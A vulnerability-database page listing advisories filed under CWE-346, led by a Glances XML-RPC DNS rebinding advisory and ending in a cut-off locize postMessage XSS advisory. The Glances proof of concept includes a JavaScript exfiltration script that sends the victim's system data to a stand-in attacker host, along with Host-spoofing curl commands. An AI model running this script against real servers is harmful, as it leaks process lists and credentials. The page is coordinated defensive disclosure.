CWE-346
Allowed-with-ReviewOrigin Validation Error
Abstraction: Class · Status: Draft
The product does not properly verify that the source of data or communication is valid.
779 vulnerabilities reference this CWE, most recent first.
GHSA-W856-8P3R-P338
Vulnerability from github – Published: 2026-06-22 21:31 – Updated: 2026-06-22 21:31Summary
The Glances XML-RPC server (glances -s, implemented in glances/server.py) does not validate the HTTP Host header, leaving it vulnerable to DNS rebinding attacks. CVE-2026-32632 (patched in 4.5.2) added TrustedHostMiddleware to the REST/WebUI server; the MCP server has had equivalent protection since 4.5.1. The XML-RPC server received neither fix and has no allowed-hosts configuration key. Combined with the unrestricted Access-Control-Allow-Origin: * header (see companion advisory for CVE-2026-33533 and its incomplete fix), an attacker can exploit DNS rebinding to exfiltrate the full system monitoring dataset from a victim's browser.
Details
Affected component: glances/server.py — GlancesXMLRPCHandler / GlancesXMLRPCServer
Direct URL (commit 04579778e733d705898a169e049dc84772c852da): - https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/server.py
Contrast — patched backends: - https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/outputs/glances_restful_api.py - https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/outputs/glances_mcp.py
The GlancesXMLRPCHandler class inherits from Python's xmlrpc.server.SimpleXMLRPCRequestHandler and does not override parse_request() to inspect or validate the Host header.
Contrast this with the two other Glances server backends, both of which received host-validation hardening:
REST / WebUI server (glances/outputs/glances_restful_api.py) — patched in 4.5.2:
# glances_restful_api.py
if self.webui_allowed_hosts:
self._app.add_middleware(
TrustedHostMiddleware,
allowed_hosts=self.webui_allowed_hosts,
)
MCP server (glances/outputs/glances_mcp.py) — protected since 4.5.1:
# glances_mcp.py
TransportSecuritySettings(
allowed_hosts=self.mcp_allowed_hosts,
...
)
XML-RPC server (glances/server.py) — no equivalent exists:
class GlancesXMLRPCHandler(SimpleXMLRPCRequestHandler, GlancesAPI):
# No Host header check; any Host value is accepted
rpc_paths = ('/RPC2',)
...
There is no xmlrpc_allowed_hosts (or equivalent) configuration key in glances.conf, and the server ignores the Host header on every incoming request.
Confirmed on: x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).
Test results:
| Server type | Host header | HTTP status | Data returned |
|---|---|---|---|
| XML-RPC | attacker.example.com |
200 OK | Yes — VULNERABLE |
| XML-RPC | 127.0.0.1:61209 |
200 OK | Yes (baseline) |
| REST API | attacker.example.com |
400 Bad Request | No — patched |
PoC
Attack overview
DNS rebinding breaks the browser Same-Origin Policy by making attacker.example.com temporarily resolve to the target's IP address (e.g. 127.0.0.1). From that point the victim's browser treats the attacker's page as same-origin with http://attacker.example.com:61209/RPC2, forwarding the attacker-controlled Host header to the local Glances XML-RPC server, which accepts it without validation.
Special configuration required
No special glances.conf settings are needed. The vulnerability is present in a default Glances XML-RPC server start (glances -s). For the comparison test (Step 3) the REST server must also be started; that step requires Glances to be installed with web dependencies (pip install "glances[web]").
Step 1 — Start the Glances XML-RPC server
glances -s -p 61209
Step 2 — Confirm the server accepts an arbitrary Host header
curl -s -D - -X POST "http://127.0.0.1:61209/RPC2" \
-H "Host: attacker.example.com" \
-H "Content-Type: text/plain" \
-d '<?xml version="1.0"?>
<methodCall><methodName>getAllPlugins</methodName></methodCall>'
Expected result (secure): HTTP/1.0 400 Bad Request
Actual result: HTTP/1.0 200 OK with full XML-RPC response body.
Step 3 — Confirm the REST API is patched (comparison)
# Start REST server with the same machine as allowed host:
glances -w -p 61210 --webui-port 61210
curl -s -o /dev/null -w "%{http_code}\n" \
"http://127.0.0.1:61210/api/4/status" \
-H "Host: attacker.example.com"
# Returns: 400 (TrustedHostMiddleware rejects the spoofed Host)
Step 4 — Full DNS rebinding exploitation (real-world path)
- Attacker registers
attacker.example.comwith a low-TTL (1 second) DNS record initially pointing to their own server IP. - Attacker serves the following page from
http://attacker.example.com:
<script>
async function exfil() {
const payload = `<?xml version="1.0"?>
<methodCall><methodName>getAll</methodName></methodCall>`;
try {
const r = await fetch('http://attacker.example.com:61209/RPC2', {
method: 'POST',
headers: { 'Content-Type': 'text/plain' },
body: payload,
});
const data = await r.text();
// data contains: hostname, OS, all processes with cmd-lines, network, disk
await fetch('https://collect.attacker.example.com/?d=' + btoa(data));
} catch (_) {}
}
// Wait for TTL to expire and DNS to rebind to 127.0.0.1, then call exfil()
setTimeout(exfil, 5000);
</script>
- Victim visits
http://attacker.example.comin their browser. - After TTL expiry, the attacker's DNS server responds with
127.0.0.1. - The browser's
fetch()call is sent to127.0.0.1:61209withHost: attacker.example.com; the XML-RPC server accepts it. - The
Access-Control-Allow-Origin: *header (see companion advisory) allows the browser to read the response body. - The attacker receives the complete system monitoring snapshot.
Tools that simplify DNS rebinding for research/testing include: - Singularity - rbndr.us
Step 5 — Confirm absence of Host check in source
import sys, inspect
sys.path.insert(0, '/path/to/glances') # adjust to local clone
import glances.server as s
src = inspect.getsource(s.GlancesXMLRPCHandler)
print('Host check present:', 'allowed_hosts' in src or 'Host' in src)
# Host check present: False
Impact
Vulnerability type: Insufficient Verification of Data Authenticity / DNS Rebinding (CWE-350)
Who is impacted: Any user whose browser can reach a Glances XML-RPC server and who can be lured to visit an attacker controlled web page. This includes deployments where:
- Glances is bound to
127.0.0.1(loopback) — DNS rebinding bypasses the loopback restriction. - Glances is bound to a LAN IP — any browser on that LAN is at risk.
- Glances is exposed on a public IP — any browser on the internet is at risk.
Data exposed through the XML-RPC API includes: hostname, OS and kernel version, full process list with command-line arguments (frequently containing API keys, database passwords, and access tokens passed as environment variables or CLI flags), CPU/memory/disk/network statistics, open file descriptors, listening ports, and Docker/Kubernetes container metadata.
Impact: - Confidentiality: High — complete system monitoring data readable remotely without credentials. - Integrity: None — read-only XML-RPC API. - Availability: None — no denial-of-service component.
The attack is amplified by the companion CORS wildcard issue (vuln03): without Access-Control-Allow-Origin: *, the browser would still block the response read. Both issues must be fixed together for effective remediation.
Suggested Fix
Option 1 — Add Host validation to the XML-RPC handler (preferred)
Add a webui_allowed_hosts (or new xmlrpc_allowed_hosts) configuration key, and validate the Host header in GlancesXMLRPCHandler:
# server.py
class GlancesXMLRPCHandler(SimpleXMLRPCRequestHandler, GlancesAPI):
allowed_hosts: list[str] = [] # populated from config
def parse_request(self) -> bool:
if not super().parse_request():
return False
if self.allowed_hosts:
host = self.headers.get('Host', '').split(':')[0]
if host not in self.allowed_hosts:
self.send_error(400, 'Bad Request: invalid Host header')
return False
return True
Populate allowed_hosts from the existing webui_allowed_hosts config key (already used by the REST server), so operators have a single knob.
Option 2 — Deprecate and remove the XML-RPC server
The XML-RPC server is a legacy interface. The REST API (glances -w) provides a superset of functionality, is actively maintained, and has all current security controls. Deprecating the XML-RPC server in the next major release and directing users to the REST API would eliminate this attack surface entirely.
Responsible Disclosure
The AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.
Credits
This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "glances"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46611"
],
"database_specific": {
"cwe_ids": [
"CWE-346",
"CWE-350"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-22T21:31:44Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nThe Glances XML-RPC server (`glances -s`, implemented in `glances/server.py`) does not validate the HTTP `Host` header, leaving it vulnerable to DNS rebinding attacks. CVE-2026-32632 (patched in 4.5.2) added `TrustedHostMiddleware` to the REST/WebUI server; the MCP server has had equivalent protection since 4.5.1. The XML-RPC server received neither fix and has no `allowed-hosts` configuration key. Combined with the unrestricted `Access-Control-Allow-Origin: *` header (see companion advisory for CVE-2026-33533 and its incomplete fix), an attacker can exploit DNS rebinding to exfiltrate the full system monitoring dataset from a victim\u0027s browser.\n\n---\n\n### Details\n\n**Affected component:** `glances/server.py` \u2014 `GlancesXMLRPCHandler` / `GlancesXMLRPCServer`\n\n**Direct URL (commit 04579778e733d705898a169e049dc84772c852da):**\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/server.py\n\nContrast \u2014 patched backends:\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/outputs/glances_restful_api.py\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/outputs/glances_mcp.py\n\nThe `GlancesXMLRPCHandler` class inherits from Python\u0027s `xmlrpc.server.SimpleXMLRPCRequestHandler` and does not override `parse_request()` to inspect or validate the `Host` header.\n\nContrast this with the two other Glances server backends, both of which received host-validation hardening:\n\n**REST / WebUI server** (`glances/outputs/glances_restful_api.py`) \u2014 patched in 4.5.2:\n\n```python\n# glances_restful_api.py\nif self.webui_allowed_hosts:\n self._app.add_middleware(\n TrustedHostMiddleware,\n allowed_hosts=self.webui_allowed_hosts,\n )\n```\n\n**MCP server** (`glances/outputs/glances_mcp.py`) \u2014 protected since 4.5.1:\n\n```python\n# glances_mcp.py\nTransportSecuritySettings(\n allowed_hosts=self.mcp_allowed_hosts,\n ...\n)\n```\n\n**XML-RPC server** (`glances/server.py`) \u2014 no equivalent exists:\n\n```python\nclass GlancesXMLRPCHandler(SimpleXMLRPCRequestHandler, GlancesAPI):\n # No Host header check; any Host value is accepted\n rpc_paths = (\u0027/RPC2\u0027,)\n ...\n```\n\nThere is no `xmlrpc_allowed_hosts` (or equivalent) configuration key in `glances.conf`, and the server ignores the `Host` header on every incoming request.\n\n**Confirmed on:** x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).\n\nTest results:\n\n| Server type | Host header | HTTP status | Data returned |\n|-------------|----------------------|-------------|---------------|\n| XML-RPC | `attacker.example.com` | 200 OK | Yes \u2014 VULNERABLE |\n| XML-RPC | `127.0.0.1:61209` | 200 OK | Yes (baseline) |\n| REST API | `attacker.example.com` | 400 Bad Request | No \u2014 patched |\n\n---\n\n### PoC\n\n**Attack overview**\n\nDNS rebinding breaks the browser Same-Origin Policy by making `attacker.example.com` temporarily resolve to the target\u0027s IP address (e.g. `127.0.0.1`). From that point the victim\u0027s browser treats the attacker\u0027s page as same-origin with `http://attacker.example.com:61209/RPC2`, forwarding the attacker-controlled `Host` header to the local Glances XML-RPC server, which accepts it without validation.\n\n**Special configuration required**\n\nNo special `glances.conf` settings are needed. The vulnerability is present in a default Glances XML-RPC server start (`glances -s`). For the comparison test (Step 3) the REST server must also be started; that step requires Glances to be installed with web dependencies (`pip install \"glances[web]\"`).\n\n---\n\n**Step 1 \u2014 Start the Glances XML-RPC server**\n\n```bash\nglances -s -p 61209\n```\n\n**Step 2 \u2014 Confirm the server accepts an arbitrary Host header**\n\n```bash\ncurl -s -D - -X POST \"http://127.0.0.1:61209/RPC2\" \\\n -H \"Host: attacker.example.com\" \\\n -H \"Content-Type: text/plain\" \\\n -d \u0027\u003c?xml version=\"1.0\"?\u003e\n \u003cmethodCall\u003e\u003cmethodName\u003egetAllPlugins\u003c/methodName\u003e\u003c/methodCall\u003e\u0027\n```\n\nExpected result (secure): `HTTP/1.0 400 Bad Request`\nActual result: `HTTP/1.0 200 OK` with full XML-RPC response body.\n\n**Step 3 \u2014 Confirm the REST API is patched (comparison)**\n\n```bash\n# Start REST server with the same machine as allowed host:\nglances -w -p 61210 --webui-port 61210\n\ncurl -s -o /dev/null -w \"%{http_code}\\n\" \\\n \"http://127.0.0.1:61210/api/4/status\" \\\n -H \"Host: attacker.example.com\"\n# Returns: 400 (TrustedHostMiddleware rejects the spoofed Host)\n```\n\n**Step 4 \u2014 Full DNS rebinding exploitation (real-world path)**\n\n1. Attacker registers `attacker.example.com` with a low-TTL (1 second) DNS record initially pointing to their own server IP.\n2. Attacker serves the following page from `http://attacker.example.com`:\n\n```html\n\u003cscript\u003e\nasync function exfil() {\n const payload = `\u003c?xml version=\"1.0\"?\u003e\n \u003cmethodCall\u003e\u003cmethodName\u003egetAll\u003c/methodName\u003e\u003c/methodCall\u003e`;\n try {\n const r = await fetch(\u0027http://attacker.example.com:61209/RPC2\u0027, {\n method: \u0027POST\u0027,\n headers: { \u0027Content-Type\u0027: \u0027text/plain\u0027 },\n body: payload,\n });\n const data = await r.text();\n // data contains: hostname, OS, all processes with cmd-lines, network, disk\n await fetch(\u0027https://collect.attacker.example.com/?d=\u0027 + btoa(data));\n } catch (_) {}\n}\n\n// Wait for TTL to expire and DNS to rebind to 127.0.0.1, then call exfil()\nsetTimeout(exfil, 5000);\n\u003c/script\u003e\n```\n\n3. Victim visits `http://attacker.example.com` in their browser.\n4. After TTL expiry, the attacker\u0027s DNS server responds with `127.0.0.1`.\n5. The browser\u0027s `fetch()` call is sent to `127.0.0.1:61209` with `Host: attacker.example.com`; the XML-RPC server accepts it.\n6. The `Access-Control-Allow-Origin: *` header (see companion advisory) allows the browser to read the response body.\n7. The attacker receives the complete system monitoring snapshot.\n\nTools that simplify DNS rebinding for research/testing include:\n- [Singularity](https://github.com/nccgroup/singularity)\n- [rbndr.us](https://rbndr.us)\n\n**Step 5 \u2014 Confirm absence of Host check in source**\n\n```python\nimport sys, inspect\nsys.path.insert(0, \u0027/path/to/glances\u0027) # adjust to local clone\nimport glances.server as s\n\nsrc = inspect.getsource(s.GlancesXMLRPCHandler)\nprint(\u0027Host check present:\u0027, \u0027allowed_hosts\u0027 in src or \u0027Host\u0027 in src)\n# Host check present: False\n```\n\n---\n\n### Impact\n\n**Vulnerability type:** Insufficient Verification of Data Authenticity / DNS Rebinding (CWE-350)\n\n**Who is impacted:** Any user whose browser can reach a Glances XML-RPC server and who can be lured to visit an attacker controlled web page. This includes deployments where:\n\n- Glances is bound to `127.0.0.1` (loopback) \u2014 DNS rebinding bypasses the loopback restriction.\n- Glances is bound to a LAN IP \u2014 any browser on that LAN is at risk.\n- Glances is exposed on a public IP \u2014 any browser on the internet is at risk.\n\n**Data exposed through the XML-RPC API** includes: hostname, OS and kernel version, full process list with command-line arguments (frequently containing API keys, database passwords, and access tokens passed as environment variables or CLI flags), CPU/memory/disk/network statistics, open file descriptors, listening ports, and Docker/Kubernetes container metadata.\n\n**Impact:**\n- **Confidentiality:** High \u2014 complete system monitoring data readable remotely without credentials.\n- **Integrity:** None \u2014 read-only XML-RPC API.\n- **Availability:** None \u2014 no denial-of-service component.\n\nThe attack is amplified by the companion CORS wildcard issue (vuln03): without `Access-Control-Allow-Origin: *`, the browser would still block the response read. Both issues must be fixed together for effective remediation.\n\n---\n\n### Suggested Fix\n\n**Option 1 \u2014 Add Host validation to the XML-RPC handler (preferred)**\n\nAdd a `webui_allowed_hosts` (or new `xmlrpc_allowed_hosts`) configuration key, and validate the `Host` header in `GlancesXMLRPCHandler`:\n\n```python\n# server.py\nclass GlancesXMLRPCHandler(SimpleXMLRPCRequestHandler, GlancesAPI):\n\n allowed_hosts: list[str] = [] # populated from config\n\n def parse_request(self) -\u003e bool:\n if not super().parse_request():\n return False\n if self.allowed_hosts:\n host = self.headers.get(\u0027Host\u0027, \u0027\u0027).split(\u0027:\u0027)[0]\n if host not in self.allowed_hosts:\n self.send_error(400, \u0027Bad Request: invalid Host header\u0027)\n return False\n return True\n```\n\nPopulate `allowed_hosts` from the existing `webui_allowed_hosts` config key (already used by the REST server), so operators have a single knob.\n\n**Option 2 \u2014 Deprecate and remove the XML-RPC server**\n\nThe XML-RPC server is a legacy interface. The REST API (`glances -w`) provides a superset of functionality, is actively maintained, and has all current security controls. Deprecating the XML-RPC server in the next major release and directing users to the REST API would eliminate this attack surface entirely.\n\n---\n\n### Responsible Disclosure\nThe AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first. \n---\n\n### Credits\n\nThis issue was identified by Micha\u0142 Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.\n\n---",
"id": "GHSA-w856-8p3r-p338",
"modified": "2026-06-22T21:31:44Z",
"published": "2026-06-22T21:31:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nicolargo/glances/security/advisories/GHSA-w856-8p3r-p338"
},
{
"type": "PACKAGE",
"url": "https://github.com/nicolargo/glances"
},
{
"type": "WEB",
"url": "https://github.com/nicolargo/glances/releases/tag/v4.5.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Glances: XML-RPC Server Missing Host Header Validation Enables DNS Rebinding Attack"
}
GHSA-W87V-7W53-WWXV
Vulnerability from github – Published: 2025-09-26 15:00 – Updated: 2025-09-29 14:03Impact
A Cross-Site Request Forgery (CSRF) vulnerability was identified in Apollo’s Embedded Sandbox and Embedded Explorer.
The vulnerability arises from missing origin validation in the client-side code that handles window.postMessage events. A malicious website can send forged messages to the embedding page, causing the victim’s browser to execute arbitrary GraphQL queries or mutations against their GraphQL server while authenticated with the victim’s cookies.
Who is impacted
Anyone embedding Apollo Sandbox or Apollo Explorer in their website may have been affected by this vulnerability.
- Users who embed Apollo Sandbox or Apollo Explorer in their websites via npm packages (
@apollo/sandboxand@apollo/explorer) or direct links to Apollo’s CDN. - Users running Apollo Router with embedded Sandbox enabled. This served the vulnerable code from Apollo’s CDN.
- Users running Apollo Server with embedded Sandbox or Explorer enabled. Embedded Sandbox is enabled by default when
NODE_ENVis not set toproduction, and embedded Sandbox and Explorer can also be enabled in production mode via landing page plugins. This served the vulnerable code from Apollo’s CDN.
While all of the above methods of serving Embedded Sandbox and Explorer were vulnerable, Apollo has already updated its CDN to remove all vulnerable versions. Unless you install the npm package @apollo/sandbox or @apollo/explorer directly into your website’s front end code, no action is necessary: the vulnerability has already been mitigated.
Users who do not embed Sandbox/Explorer on their websites, or who only run Apollo Router/Server with production defaults were never impacted. The use of non-embedded Sandbox and Explorer hosted on studio.apollographql.com is not vulnerable.
Scope of impact
The vulnerability allows a malicious website to open the vulnerable website in a new window and force it to send GraphQL requests to its origin. The requests themselves are not "cross-origin" as they are directly issued from the vulnerable website, but their contents are dictated by the malicious website.
The malicious website cannot read the responses to the GraphQL operations, but the operations may be mutations with side effects (such as using credentials to update app-specific data access controls). These operations can contain the browser user's cookies, and the vulnerable website may be on a private network otherwise inaccessible to the attacker. Operations sent this way look and exactly like legitimate operations sent by a human interacting with the embedded Sandbox or Explorer.
Patches
The issue has been fixed by adding strict origin validation to DOM message handling.
@apollo/sandbox: Patched in v2.7.2 and later@apollo/explorer: Patched in v3.7.3 and later- Apollo’s CDN embeds have been updated to patched versions. This protects embeds based on
<script>tags pointing to Apollo’s CDN, as well as the Apollo Router and Apollo Server features. No action is necessary to adopt the fix in this case.
If you manually edited the <script> tag provided by the Explorer or Sandbox UI to replace the version string _latest, v2, or v3 with a specific git-style SHA, you may find that the Explorer or Sandbox UI does not currently load. To fix this, use a supported URL instead, as documented for Sandbox or Explorer. (The third-party Go GraphQL server gqlgen provides a function ApolloSandboxHandler which serves an unsupported URL and was broken by our mitigations; upgrading to gqlgen v0.17.81 will resolve this issue.)
Workarounds
- If you are using Apollo Server, ensure
NODE_ENV=productionis set in production to avoid unintentionally serving embedded Sandbox. - Customers not using embedded Sandbox/Explorer are not affected and do not need to take action.
References
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@apollo/sandbox"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.7.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@apollo/explorer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.7.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-59845"
],
"database_specific": {
"cwe_ids": [
"CWE-346",
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-26T15:00:05Z",
"nvd_published_at": "2025-09-26T23:15:31Z",
"severity": "HIGH"
},
"details": "### Impact\n\nA **Cross-Site Request Forgery (CSRF)** vulnerability was identified in Apollo\u2019s **Embedded Sandbox** and **Embedded Explorer**.\n\nThe vulnerability arises from missing origin validation in the client-side code that handles `window.postMessage` events. A malicious website can send forged messages to the embedding page, causing the victim\u2019s browser to execute arbitrary GraphQL queries or mutations against their GraphQL server while authenticated with the victim\u2019s cookies.\n\n#### Who is impacted\n\nAnyone embedding [Apollo Sandbox](https://www.apollographql.com/docs/graphos/platform/sandbox#embedding-sandbox) or [Apollo Explorer](https://www.apollographql.com/docs/graphos/platform/explorer/embed) in their website may have been affected by this vulnerability.\n\n- Users who embed Apollo Sandbox or Apollo Explorer in their websites via npm packages (`@apollo/sandbox` and `@apollo/explorer`) or direct links to Apollo\u2019s CDN.\n- Users running Apollo Router with [embedded Sandbox enabled](https://www.apollographql.com/docs/graphos/routing/configuration/yaml#sandbox). This served the vulnerable code from Apollo\u2019s CDN.\n- Users running Apollo Server with embedded Sandbox or Explorer enabled. Embedded Sandbox is enabled by default when `NODE_ENV` is not set to `production`, and embedded Sandbox and Explorer can also be enabled in production mode via [landing page plugins](https://www.apollographql.com/docs/apollo-server/api/plugin/landing-pages). This served the vulnerable code from Apollo\u2019s CDN.\n\nWhile all of the above methods of serving Embedded Sandbox and Explorer were vulnerable, Apollo has already updated its CDN to remove all vulnerable versions. **Unless you install the npm package `@apollo/sandbox` or `@apollo/explorer` directly into your website\u2019s front end code, no action is necessary: the vulnerability has already been mitigated.**\n\nUsers who do not embed Sandbox/Explorer on their websites, or who only run Apollo Router/Server with production defaults were never impacted. The use of non-embedded Sandbox and Explorer hosted on [studio.apollographql.com](http://studio.apollographql.com/) is not vulnerable.\n\n\n#### Scope of impact\n\nThe vulnerability allows a malicious website to open the vulnerable website in a new window and force it to send GraphQL requests to its origin. The requests themselves are not \"cross-origin\" as they are directly issued from the vulnerable website, but their contents are dictated by the malicious website.\n\nThe malicious website cannot read the responses to the GraphQL operations, but the operations may be mutations with side effects (such as using credentials to update app-specific data access controls). These operations can contain the browser user\u0027s cookies, and the vulnerable website may be on a private network otherwise inaccessible to the attacker. Operations sent this way look and exactly like legitimate operations sent by a human interacting with the embedded Sandbox or Explorer.\n\n### Patches\n\nThe issue has been fixed by adding strict origin validation to DOM message handling.\n\n- `@apollo/sandbox`: Patched in v2.7.2 and later\n- `@apollo/explorer`: Patched in v3.7.3 and later\n- Apollo\u2019s CDN embeds have been updated to patched versions. This protects embeds based on `\u003cscript\u003e` tags pointing to Apollo\u2019s CDN, as well as the Apollo Router and Apollo Server features. No action is necessary to adopt the fix in this case.\n\nIf you manually edited the `\u003cscript\u003e` tag provided by the Explorer or Sandbox UI to replace the version string `_latest`, `v2`, or `v3` with a specific git-style SHA, you may find that the Explorer or Sandbox UI does not currently load. To fix this, use a supported URL instead, as documented for [Sandbox](https://www.apollographql.com/docs/graphos/platform/sandbox#embedding-sandbox) or [Explorer](https://www.apollographql.com/docs/graphos/platform/explorer/embed). (The third-party Go GraphQL server [gqlgen](https://github.com/99designs/gqlgen) provides a function ApolloSandboxHandler which serves an unsupported URL and was broken by our mitigations; upgrading to [gqlgen v0.17.81](https://github.com/99designs/gqlgen/releases/tag/v0.17.81) will resolve this issue.)\n\n### Workarounds\n\n- If you are using Apollo Server, ensure `NODE_ENV=production` is set in production to avoid unintentionally serving embedded Sandbox.\n- Customers not using embedded Sandbox/Explorer are not affected and do not need to take action.\n\n\n### References\n\n- [Apollo Server CSRF Documentation](https://www.apollographql.com/docs/apollo-server/security/cors#preventing-cross-site-request-forgery-csrf)\n- [Apollo Router Sandbox Configuration](https://www.apollographql.com/docs/graphos/routing/configuration/yaml#sandbox)\n- [Apollo Explorer Embed Documentation](https://www.apollographql.com/docs/graphos/platform/explorer/embed)",
"id": "GHSA-w87v-7w53-wwxv",
"modified": "2025-09-29T14:03:00Z",
"published": "2025-09-26T15:00:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apollographql/embeddable-explorer/security/advisories/GHSA-w87v-7w53-wwxv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59845"
},
{
"type": "PACKAGE",
"url": "https://github.com/apollographql/embeddable-explorer"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Apollo Embedded Sandbox and Explorer vulnerable to CSRF via window.postMessage origin-validation bypass"
}
GHSA-W88Q-HW69-7RHH
Vulnerability from github – Published: 2026-06-05 00:31 – Updated: 2026-06-05 15:32Inappropriate implementation in Fenced Frames in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: Low)
{
"affected": [],
"aliases": [
"CVE-2026-11217"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-04T23:17:29Z",
"severity": "MODERATE"
},
"details": "Inappropriate implementation in Fenced Frames in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: Low)",
"id": "GHSA-w88q-hw69-7rhh",
"modified": "2026-06-05T15:32:19Z",
"published": "2026-06-05T00:31:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11217"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/487564032"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W8WW-RJX9-2R6H
Vulnerability from github – Published: 2022-05-24 17:42 – Updated: 2022-05-24 17:42An issue was discovered in Acronis Cyber Protect before 15 Update 1 build 26172. Because the local notification service misconfigures CORS, information disclosure can occur.
{
"affected": [],
"aliases": [
"CVE-2020-35556"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-02-22T03:15:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in Acronis Cyber Protect before 15 Update 1 build 26172. Because the local notification service misconfigures CORS, information disclosure can occur.",
"id": "GHSA-w8ww-rjx9-2r6h",
"modified": "2022-05-24T17:42:48Z",
"published": "2022-05-24T17:42:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35556"
},
{
"type": "WEB",
"url": "https://dl.managed-protection.com/u/cyberprotect/rn/15/user/en-US/AcronisCyberProtect15_relnotes.htm"
},
{
"type": "WEB",
"url": "https://www.acronis.com"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-W937-FG2H-XHQ2
Vulnerability from github – Published: 2026-04-22 20:32 – Updated: 2026-05-13 13:30Summary
Versions of the locize client SDK (the browser module that wires up the locize InContext translation editor) prior to 4.0.21 register a window.addEventListener("message", …) handler that dispatches to registered internal handlers (editKey, commitKey, commitKeys, isLocizeEnabled, requestInitialize, …) without validating event.origin.
The pre-patch listener in src/api/postMessage.js gates dispatch on event.data.sender === "i18next-editor-frame" — that value sits inside the attacker-controlled message payload, not the browser-enforced origin. Any web page that could embed or be embedded by a locize-enabled host — an iframe on a third-party page, a window.open-ed victim, a parent frame reaching down — could send a crafted postMessage and trigger the internal handlers.
Impact
Depending on which handler the attacker invokes, distinct consequences follow. All of them share the same root cause: the handlers implicitly assumed the payload came from the real editor iframe.
-
Cross-origin DOM XSS via
editKey/commitKeys: the pre-patchhandleEditKeyassigned attacker-controlled payload values toitem.node.innerHTMLand toitem.node.setAttribute(attr, value). That allowed planting<script>,<img onerror>, oronclick/onload/onfocusevent handlers; and on attribute writes,href="javascript:…"/src="data:text/html,<script>…"/style="…"/ etc. -
api.source/api.originhijack viaisLocizeEnabled: the handler setapi.source = e.source; api.origin = e.origin— attacker-controlled values. All subsequentsendMessagecalls (which post translations, callbacks, etc., back towardapi.source) would go to the attacker window rather than the real editor, leaking translation content and any metadata the SDK forwards. -
CSS-injection / layout-escape via
requestPopupChanges:containerStyle.height/.widthwere interpolated intocalc()expressions andpopup.style.setProperty()without validation, allowing attackers to inject additional CSS declarations (semicolons,behavior:url()on legacy IE, CSS-exfil patterns) into the popup inline style.
Exploitation requires the attacker-owned page to share a window reference with the locize-enabled host: typical vectors are an iframe on an attacker-controlled page, a window.opener/window.open relationship, or a parent frame that can postMessage into an embedded locize host. The SDK intended model is that only the editor iframe at https://incontext.locize.app (or the configured staging/development origin) can reach these handlers.
Affected versions
All versions of locize prior to 4.0.21.
Patch
Fixed in 4.0.21. Two layers:
-
Primary — validate
event.originat the top ofwindow.addEventListener("message", …)insrc/api/postMessage.js. The expected origin is the configured iframe origin (getIframeUrl()), so custom environments continue to work. Messages from any other origin are silently dropped before any handler runs. -
Defence-in-depth —
handleEditKeynow rejects dangerous attribute-name writes (on*,style) andjavascript:/data:/vbscript:/file:URLs onhref/src/action/formaction/xlink:href;innerHTMLassignments are sanitised through a throwaway DOMParser document (stripping<script>,<iframe>,<object>,<embed>,<link>,<meta>,<base>,<style>plus event handlers and dangerous URL schemes). Legitimate translation formatting (<b>,<em>,<strong>,<a href="https://…">, etc.) passes through. -
